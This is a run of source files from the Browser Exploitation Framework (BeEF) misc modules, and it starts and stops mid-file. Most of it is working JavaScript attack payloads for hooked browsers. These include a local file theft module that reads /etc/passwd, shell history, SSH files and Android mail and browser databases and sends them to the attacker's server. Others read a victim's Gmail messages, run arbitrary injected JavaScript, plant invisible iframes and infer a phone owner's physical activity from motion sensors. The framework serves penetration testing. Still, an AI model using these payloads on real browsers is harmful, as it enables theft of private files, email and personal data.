if (interval)
window.clearInterval(interval);
}
var cb = function(f, foundFrag) {
inProgress--;
loadCount--;
if (f.nonZero()) {
found++;
var foundVal = ids[foundFrag];
var foundPos = f.getPos();
allFound[foundFrag] = foundVal;
allPositions[foundFrag] = foundPos;
if (!cancelled)
callback(foundFrag, foundVal, foundPos, allFound, allPositions);
if (stopOnFirst)
cancel();
}
if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany
(loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)
finishedcb(found > 0, allFound, allPositions);
f.remove();
delete framePool[foundFrag];
}
var loadMore = function() {
if (todo.length == 0) {
// no more ids to do
window.clearInterval(interval);
interval = null;
}
if (inProgress >= maxConcurrent) {
// queue full, waiting
return;
}
var loops = Math.min(maxConcurrent - inProgress, todo.length);
for (var i=0; i < loops; i++) {
inProgress++;
var nextID = todo.shift();
var thisurl = url.replace('{id}', nextID);
framePool[nextID] = new LeakyFrame(thisurl, function(n){
return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome
}(nextID)
);
}
}
interval = window.setInterval(loadMore, 500);
}
/**
* Same as findManyMatchingURLs but stops after the first match is found
*
* @param url - a base URL to check with {id} where id will go
* (e.g http://www.foo.com/userprofile/{id}#me)
* @param ids - dictionary of key:value pairs. the keys will be used to
* replace {id} in each url
* @param successcb - a function that gets called when an id is found.
* It gets passed the matching key and value
* @param failcb - a function that gets called if no ids are found
* @param finalcb - a function that gets called after either sucess or failure
*/
LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {
var s = function(k, v) {
successcb(k, v);
if (finalcb)
finalcb();
}
var f = function() {
if (failcb)
failcb();
if (finalcb)
finalcb();
}
return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);
} |
Ruby | beef/modules/misc/iframe_sniffer/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Iframe_sniffer < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js', '/leakyframe', 'js')
end
def self.options
[
{ 'name' => 'inputUrl', 'ui_label' => 'input URL', 'type' => 'textarea', 'value' => 'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px' },
{ 'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px',
'height' => '100px' }
]
end
def post_execute
content = {}
content['resultList'] = @datastore['resultList']
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js')
save content
end
end |
JavaScript | beef/modules/misc/invisible_iframe/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@target) %>'));
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
iframe_<%= @command_id %>.setAttribute('src', target);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created');
}); |
YAML | beef/modules/misc/invisible_iframe/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
invisible_iframe:
enable: true
category: "Misc"
name: "Create Invisible Iframe"
description: "Creates an invisible iframe."
authors: ["bcoles"]
target:
working: ["ALL"] |
Ruby | beef/modules/misc/invisible_iframe/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Invisible_iframe < BeEF::Core::Command
def self.options
[
{ 'name' => 'target', 'ui_label' => 'URL', 'value' => 'http://beefproject.com/' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/local_file_theft/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// local_file_theft
//
// Shamelessly plagurised from kos.io/xsspwn
beef.execute(function() {
result = '';
fileList = ['linux','mac','ios','android','windows']
fileList['linux']= {
// How do we discover users?
"discover" :'/etc/passwd',
// Okay, we found them, what do we pillage?
"post" :{
'bashHistory':'.bash_history',
'sshHosts':'.ssh/known_hosts',
'sshKeys':'.ssh/id_rsa.pub',
'firefoxProfiles':'.mozilla/firefox/profiles.ini',
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
}
}
fileList['mac']= {
// How do we discover users?
"discover" :'/Library/Preferences/com.apple.loginwindow.plist',
// Okay, we found them, what do we pillage?
"post" :{
'bashHistory':'.bash_history',
'sshHosts':'.ssh/known_hosts',
'sshKeys':'.ssh/id_rsa.pub',
'firefoxProfiles':'.mozilla/firefox/profiles.ini',
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
}
}
fileList['android']= {
// Instead of how, just figure out the currently in use appi
"discover" :'/proc/self/status',
// Okay, we found them, what do we pillage?
"post" :{
'browser_data':'/data/data/com.android.browser/databases/webview.db',
'browser_data2':'/data/data/com.android.browser/databases/browser.db',
'gmail_accounts':'/data/data/com.google.android.gm/shared_prefs/Gmail.xml',
'dolpin_data':'/data/data/mobi.mgeek.TunnyBrowser/databases/webview.db',
'dolpin_data2':'/data/data/mobi.mgeek.TunnyBrowser/databases/browser.db',
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
}
}
fileList['ios']= {
// WHAT IS THIS I DON'T EVEN
"discover" :'',
"post" :{
'iPadEtcHosts':'/etc/hosts'
}
}
fileList['windows']= {
// Meh, who cares
"discover" :'',
"post" :{
'bootini':'/c:/boot.ini',
'hosts':'/c:/WINDOWS/system32/drivers/etc/hosts'
}
}
fileList['custom']= {
// user defined
"discover" :'',
"post" :{
'result':'<%== @target_file %>',
}
}
functionList = {
mac:{
// OS X disovery
discover : function(){
tmp = new XMLHttpRequest()
tmp.open('get',"file:///"+fileList['mac']['discover'])
tmp.send()
tmp.onreadystatechange=function(){
if(tmp.readyState==4){
// TODO
// Understand plist format to _reliably_ pull out username with regex
//user = tmp.responseText.match(/\x03\x57(.*)\x12/)[1];
user = tmp.responseText.match(/\x54(.*)\x12\x01/)[1];
homedir = "/Users/"+user+"/";
grabFiles(homedir,"mac")
}
}
return true;
}
},
linux:{
// Linux username discovery
discover : function(){
tmp = new XMLHttpRequest()
tmp.open('get',"file:///"+fileList['linux']['discover'])
tmp.send()
tmp.onreadystatechange=function(){
if(tmp.readyState==4){
userDir = tmp.responseText.match(/[a-z0-9]*:x:[0-9]{4}:[0-9]{4}:[^:]*:([^:]*)/)[1];
homedir = userDir+"/";
grabFiles(homedir,"linux")
}
}
return true;
}
},
ios:{
// Grab ipad stuff
discover : function(){
tmp = new XMLHttpRequest()
tmp.open('get',fileList['ios']['discover'])
tmp.send()
tmp.onreadystatechange=function(){
if(tmp.readyState==4){
homedir = "file:///";
grabFiles(homedir,"ios")
}
}
return true;
}
},
custom:{
// Grab custom stuff
discover : function(){
tmp = new XMLHttpRequest()
tmp.open('get',fileList['custom']['discover'])
tmp.send()
tmp.onreadystatechange=function(){
if(tmp.readyState==4){
homedir = "file:///";
grabFiles(homedir,"custom")
}
}
return true;
}
},
android:{
// figure out what app (gmail, browser, or dolphin?) android
discover : function(){
//document.location="http://kos.io/"
tmp = new XMLHttpRequest()
tmp.open('get',fileList['android']['discover'])
tmp.send()
tmp.onreadystatechange=function(){
if(tmp.readyState==4){
if(/.*android\.gm.*/.test(tmp.responseText)){
document.location="http://kos.io/gmail"
} else if(/.*android\.browser.*/.test(tmp.responseText)){
document.location="http://kos.io/browser"
} else if(/.*ek\.TunnyBrowser.*/.test(tmp.responseText)){
document.location="http://kos.io/dolphin"
}
grabFiles("/","android")
}
}
return true;
}
}
}
function identify(){
// custom file is specified
if ('<%== @target_file %>' != 'autodetect') {
return "custom"
// determine a good file to steal based on platform
} else {
if(/.*Android.*/.test(navigator.userAgent)){
return "android"
} else if(/Linux.*/i.test(navigator.platform)){
return "linux"
} else if(/iP.*/i.test(navigator.platform)){
return "ios"
} else if(/.*Mac.*/i.test(navigator.userAgent)){
return "mac"
} else if(/.*Windows.*/i.test(navigator.userAgent)){
return "windows"
} else if(/.*hpwOS.*/i.test(navigator.platform)){
return "webos"
}
}
}
function discoverUsers(os){
return functionList[os]['discover']()
}
function grabFiles(dir,os){
tmpfile = {}
for (i in fileList[os]['post']){
beef.debug('dir = ' + dir);
beef.debug('fileList: ' + fileList[os]['post'][i]);
beef.debug(i);
tmpfile[i] = new XMLHttpRequest()
tmpfile[i].open ('get',dir+"/"+fileList[os]['post'][i]);
tmpfile[i].send();
tmpfile[i].onreadystatechange=function(){
for (j in fileList[os]['post']){
if(tmpfile[j].readyState==4){
beef.debug('new returned for: ' + j);
result = j +": "+ tmpfile[j].responseText;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
}
}
}
}
}
discoverUsers(identify());
}); |
YAML | beef/modules/misc/local_file_theft/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# local_file_theft
#
# Shamelessly plagurised from kos.io/xsspwn
beef:
module:
local_file_theft:
enable: true
category: "Misc"
name: "Local File Theft"
description: "JavaScript may have filesystem access if we are running from a local resource and using the file:// scheme.<br/>This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in Safari from the your localfile system."
authors: ["mh"]
target:
working: ["S"] |
Ruby | beef/modules/misc/local_file_theft/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# local_file_theft
#
# Shamelessly plagurised from kos.io/xsspwn
class Local_file_theft < BeEF::Core::Command
def self.options
[
{ 'name' => 'target_file',
'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb',
'ui_label' => 'Target file',
'value' => 'autodetect' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end |
JavaScript | beef/modules/misc/nosleep/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
enableNoSleep = function() {
var noSleep = new NoSleep();
noSleep.enable();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=NoSleep initiated');
document.removeEventListener('touchstart', enableNoSleep, false);
}
init = function() {
document.addEventListener('touchstart', enableNoSleep, false);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=waiting for user input');
}
if (typeof NoSleep == "undefined") {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/NoSleep.js';
$j("body").append(script);
setTimeout(init(), 5000);
}
}); |
YAML | beef/modules/misc/nosleep/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
no_sleep:
enable: true
category: "Misc"
name: "No Sleep"
description: "This module uses <a href='https://github.com/richtr/NoSleep.js'>NoSleep.js</a> to prevent display sleep and enable wake lock in any Android or iOS web browser."
authors: ["bcoles"]
target:
working:
ALL:
os: ["iOS", "Android"] |
Ruby | beef/modules/misc/nosleep/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class No_sleep < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/nosleep/NoSleep.min.js', '/NoSleep', 'js')
end
def self.options
[]
end
def post_execute
content = {}
content['result'] = @datastore['result']
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('NoSleep.js')
save content
end
end |
JavaScript | beef/modules/misc/nosleep/NoSleep.min.js | // NoSleep.min.js v0.5.0 - git.io/vfn01 - Rich Tibbett - MIT license
!function(A){function e(A,e,o){var t=document.createElement("source");t.src=o,t.type="video/"+e,A.appendChild(t)}var o={Android:/Android/gi.test(navigator.userAgent),iOS:/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent)},t={WebM:"data:video/webm;base64,GkXfo0AgQoaBAUL3gQFC8oEEQvOBCEKCQAR3ZWJtQoeBAkKFgQIYU4BnQI0VSalmQCgq17FAAw9CQE2AQAZ3aGFtbXlXQUAGd2hhbW15RIlACECPQAAAAAAAFlSua0AxrkAu14EBY8WBAZyBACK1nEADdW5khkAFVl9WUDglhohAA1ZQOIOBAeBABrCBCLqBCB9DtnVAIueBAKNAHIEAAIAwAQCdASoIAAgAAUAmJaQAA3AA/vz0AAA=",MP4:"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAAG21kYXQAAAGzABAHAAABthADAowdbb9/AAAC6W1vb3YAAABsbXZoZAAAAAB8JbCAfCWwgAAAA+gAAAAAAAEAAAEAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIVdHJhawAAAFx0a2hkAAAAD3wlsIB8JbCAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAQAAAAAAIAAAACAAAAAABsW1kaWEAAAAgbWRoZAAAAAB8JbCAfCWwgAAAA+gAAAAAVcQAAAAAAC1oZGxyAAAAAAAAAAB2aWRlAAAAAAAAAAAAAAAAVmlkZW9IYW5kbGVyAAAAAVxtaW5mAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAAEcc3RibAAAALhzdHNkAAAAAAAAAAEAAACobXA0dgAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAIAAgASAAAAEgAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAFJlc2RzAAAAAANEAAEABDwgEQAAAAADDUAAAAAABS0AAAGwAQAAAbWJEwAAAQAAAAEgAMSNiB9FAEQBFGMAAAGyTGF2YzUyLjg3LjQGAQIAAAAYc3R0cwAAAAAAAAABAAAAAQAAAAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAEAAAABAAAAFHN0c3oAAAAAAAAAEwAAAAEAAAAUc3RjbwAAAAAAAAABAAAALAAAAGB1ZHRhAAAAWG1ldGEAAAAAAAAAIWhkbHIAAAAAAAAAAG1kaXJhcHBsAAAAAAAAAAAAAAAAK2lsc3QAAAAjqXRvbwAAABtkYXRhAAAAAQAAAABMYXZmNTIuNzguMw=="},i=function(){return o.iOS?this.noSleepTimer=null:o.Android&&(this.noSleepVideo=document.createElement("video"),this.noSleepVideo.setAttribute("loop",""),e(this.noSleepVideo,"webm",t.WebM),e(this.noSleepVideo,"mp4",t.MP4)),this};i.prototype.enable=function(A){o.iOS?(this.disable(),this.noSleepTimer=window.setInterval(function(){window.location.href='/',window.setTimeout(window.stop,0)},A||15e3)):o.Android&&this.noSleepVideo.play()},i.prototype.disable=function(){o.iOS?this.noSleepTimer&&(window.clearInterval(this.noSleepTimer),this.noSleepTimer=null):o.Android&&this.noSleepVideo.pause()},A.NoSleep=i}(this); |
beef/modules/misc/nosleep/update-lib | #!/bin/sh
wget 'https://raw.githubusercontent.com/richtr/NoSleep.js/master/NoSleep.min.js' -O NoSleep.min.js |
|
JavaScript | beef/modules/misc/raw_javascript/command.js | //
// Copyright (c) 2006-2023 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result;
try {
result = function() {<%= @cmd %>}();
} catch(e) {
for(var n in e)
result+= n + " " + e[n] + "\n";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
}); |
YAML | beef/modules/misc/raw_javascript/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
raw_javascript:
enable: true
category: "Misc"
name: "Raw JavaScript"
description: "This module will send the code entered in the 'JavaScript Code' section to the selected hooked browsers where it will be executed. Code is run inside an anonymous function and the return value is passed to the framework. Multiline scripts are allowed, no special encoding is required."
authors: ["wade", "vo"]
target:
user_notify: ['ALL'] |
Ruby | beef/modules/misc/raw_javascript/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Raw_javascript < BeEF::Core::Command
def self.options
[
{ 'name' => 'cmd', 'description' => 'Javascript Code', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';",
'type' => 'textarea', 'width' => '400px', 'height' => '100px' }
]
end
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/read_gmail/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var result;
try {
x = new XMLHttpRequest();
x.open('get', 'https://mail.google.com/mail/feed/atom', false);
x.send();
str = x.responseText; var re = /message_id=([A-Z,a-z,0-9]*)/g;
var match;
while(match = re.exec(str)) {
x = new XMLHttpRequest();
x.open('get', 'https://mail.google.com/mail/u/0/h/?&v=om&th='+match[1]+'&f=1&f=1', false);
x.send();
result += x.responseText;
}
} catch(e) {
for(var n in e)
result+= n + " " + e[n] + "\n";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
}); |
YAML | beef/modules/misc/read_gmail/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
read_gmail:
enable: true
category: "Misc"
name: "Read Gmail"
description: "If we are able to run in the context of mail.google.com (either by SOP bypass or other issue) then lets go read some email, grabs unread message ids from gmails atom feed, then grabs content of each message"
authors: ["mh"]
target:
user_notify: ['ALL'] |
Ruby | beef/modules/misc/read_gmail/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Read_gmail < BeEF::Core::Command
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/track_physical_movement/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var status = 'loading';
var update_interval = 1000;
if (!beef.hardware.isMobileDevice()) {
beef.debug(result);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());
}
var historicMotion = {
"x": [],
"y": [],
"z": []
}
var historicOrientation = {
"x": [],
"y": [],
"z": []
}
function setStatus(new_status) {
if (status == new_status) return; // status hasn't changed
status = new_status;
beef.debug(new_status);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());
}
function updateStatus() {
var movement = mostRecentMovementOverall(75)
lastHistoricOrientationX = historicOrientation["x"][historicOrientation["x"].length - 1];
lastHistoricOrientationY = historicOrientation["y"][historicOrientation["y"].length - 1];
lastHistoricOrientationZ = historicOrientation["z"][historicOrientation["z"].length - 1];
// Below some stupid, very basic code to guess what the user is doing
// As described in the README, this is just a proof of concept
if (mostRecentMovementOverall(4000) > 40) { // TODO: haven't tested this, 1,000 so it's a longer time
setStatus("driving or other form of transportation")
} else if (lastHistoricOrientationZ > 70 || lastHistoricOrientationZ < -70) {
setStatus("lying in bed sideways, or taking a landscape picture")
} else if (lastHistoricOrientationY > 160 || lastHistoricOrientationY < -160) {
setStatus("lying on your back, with your phone up")
} else if (lastHistoricOrientationY >= 30 && lastHistoricOrientationY < 70) {
if (movement > 18) {
setStatus("using your phone while walking")
} else {
setStatus("using your phone, sitting or standing")
}
} else if (lastHistoricOrientationY >= 70 && lastHistoricOrientationY < 95) {
if (movement > 18) {
setStatus("using your phone while walking")
} else {
setStatus("taking a picture")
}
} else if (lastHistoricOrientationY >= 95 && lastHistoricOrientationY < 120) {
setStatus("taking a selfie")
} else if (Math.round(lastHistoricOrientationZ) == 0 && Math.round(lastHistoricOrientationY) == 0) {
setStatus("using the phone on a table")
} else {
if (movement > 18) {
setStatus("using your phone while walking")
} else {
setStatus("using your phone, sitting or standing")
}
}
}
function mostRecentMovementOverall(numberOfHistoricPoints) {
return (mostRecentMovement(historicMotion["x"], numberOfHistoricPoints, true) +
mostRecentMovement(historicMotion["y"], numberOfHistoricPoints, true) +
mostRecentMovement(historicMotion["z"], numberOfHistoricPoints, true)) / 3.0
}
// numberOfHistoricPoints: 100 is about 3 seconds
function mostRecentMovement(array, numberOfHistoricPoints, removeNegatives) {
if (array.length > numberOfHistoricPoints) {
totalSum = 0
for (var toCount = 0; toCount < numberOfHistoricPoints; toCount++) {
currentElement = array[array.length - toCount - 1]
currentElement *= (1 - toCount / numberOfHistoricPoints) // weight the most recent data more
if (currentElement < 0 && removeNegatives) currentElement = currentElement * -1
if (currentElement > 0.1 || currentElement < -0.1) totalSum += currentElement
}
return totalSum * 100 / numberOfHistoricPoints
}
return 0 // not enough data yet
}
window.addEventListener("devicemotion", motion, false);
function motion(event) {
//motionX = (mostRecentMovement(historicMotion["x"], 150, false)).toFixed(2)
//motionY = (mostRecentMovement(historicMotion["y"], 150, false)).toFixed(2)
//motionZ = (mostRecentMovement(historicMotion["z"], 150, false)).toFixed(2)
historicMotion["x"].push(event.acceleration.x)
historicMotion["y"].push(event.acceleration.y)
historicMotion["z"].push(event.acceleration.z)
}
window.addEventListener("deviceorientation", orientation, false);
function orientation(event) {
//orientationX = Math.round(event.alpha)
//orientationY = Math.round(event.beta)
//orientationZ = Math.round(event.gamma)
historicOrientation["x"].push(event.alpha)
historicOrientation["y"].push(event.beta)
historicOrientation["z"].push(event.gamma)
}
setInterval(updateStatus, update_interval)
}); |
YAML | beef/modules/misc/track_physical_movement/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
track_physical_movement:
enable: true
category: "Misc"
name: "Track Physical Movement"
description: "This module will track the physical movement of the user's device. Ported from <a href='https://github.com/KrauseFx/whats-the-user-doing'>user.activity</a> by @KrauseFx."
authors: ["bcoles", "KrauseFx"]
target:
working:
ALL:
os: ["iOS"] |
Ruby | beef/modules/misc/track_physical_movement/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Track_physical_movement < BeEF::Core::Command
def self.options
[]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/unblockui/command.js | //
// Copyright (c) 2006-2023 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
$j.unblockUI();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
}); |
YAML | beef/modules/misc/unblockui/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
unblockui:
enable: true
category: "Misc"
name: "UnBlockUI"
description: "This module removes all jQuery BlockUI dialogs."
authors: ["bcoles"]
target:
user_notify: ["ALL"] |
Ruby | beef/modules/misc/unblockui/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Unblockui < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end |
Ruby | beef/modules/misc/wordpress/wordpress_command.rb | #
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
require 'securerandom'
class WordPressCommand < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js')
end
# If we could retrive the hooked URL, we could try to determine the wp_path to be set below
def self.options
[
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' }
]
end
# This one is triggered each time a beef.net.send is called
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('wp.js')
return unless @datastore['result']
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/wordpress/wp.js | /*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
Author @erwan_lr (WPScanTeam) - https://wpscan.org/
*/
// Pretty sure we could use jQuery as it's included by the hook.js
// Also, could have all that in as WP.prototype ?
function log(data, status = null) {
if (status == 'error') { status = beef.are.status_error(); }
if (status == 'success') { status = beef.are.status_success(); }
beef.net.send(beef_command_url, beef_command_id, data, status);
beef.debug(data);
};
function get(absolute_path, success) {
var xhr = new XMLHttpRequest();
xhr.open('GET', absolute_path);
xhr.responseType = 'document';
xhr.onerror = function() { log('GET ' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('GET ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.send();
}
function post(absolute_path, data, success) {
var params = typeof data == 'string' ? data : Object.keys(data).map(
function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) }
).join('&');
var xhr = new XMLHttpRequest();
xhr.open('POST', absolute_path);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onerror = function() { log('POST ' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('POST ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.send(params);
}
function post_as_binary(absolute_path, boundary, data, success) {
var xhr = new XMLHttpRequest();
// for WebKit-based browsers
if (!XMLHttpRequest.prototype.sendAsBinary) {
XMLHttpRequest.prototype.sendAsBinary = function (sData) {
var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
for (var nIdx = 0; nIdx < nBytes; nIdx++) {
ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
}
/* send as ArrayBufferView...: */
this.send(ui8Data);
};
}
xhr.open('POST', absolute_path);
xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary );
xhr.responseType = 'document';
xhr.onerror = function() { log('POST (Binary)' + absolute_path + ' could not be done', 'error'); }
xhr.onload = function() {
//log('POST (Binary) ' + absolute_path + ' resulted in a code ' + xhr.status);
success(xhr);
}
xhr.sendAsBinary(data);
}
function get_nonce(absolute_path, nonce_id, success) {
get(absolute_path, function(xhr) {
if (xhr.status == 200) {
var nonce_tag = xhr.responseXML.getElementById(nonce_id);
if (nonce_tag == null) {
log(absolute_path + ' - Unable to find nonce tag with id ' + nonce_id, 'error');
}
else {
nonce = nonce_tag.getAttribute('value');
//log('GET ' + absolute_path + ' - Nonce: ' + nonce);
success(nonce);
}
} else {
log('GET ' + absolute_path + ' - Status: ' + xhr.status, 'error');
}
});
} |
JavaScript | beef/modules/misc/wordpress/add_user/command.js | /*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
Original Author: Daniel Reece (@HBRN8).
Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
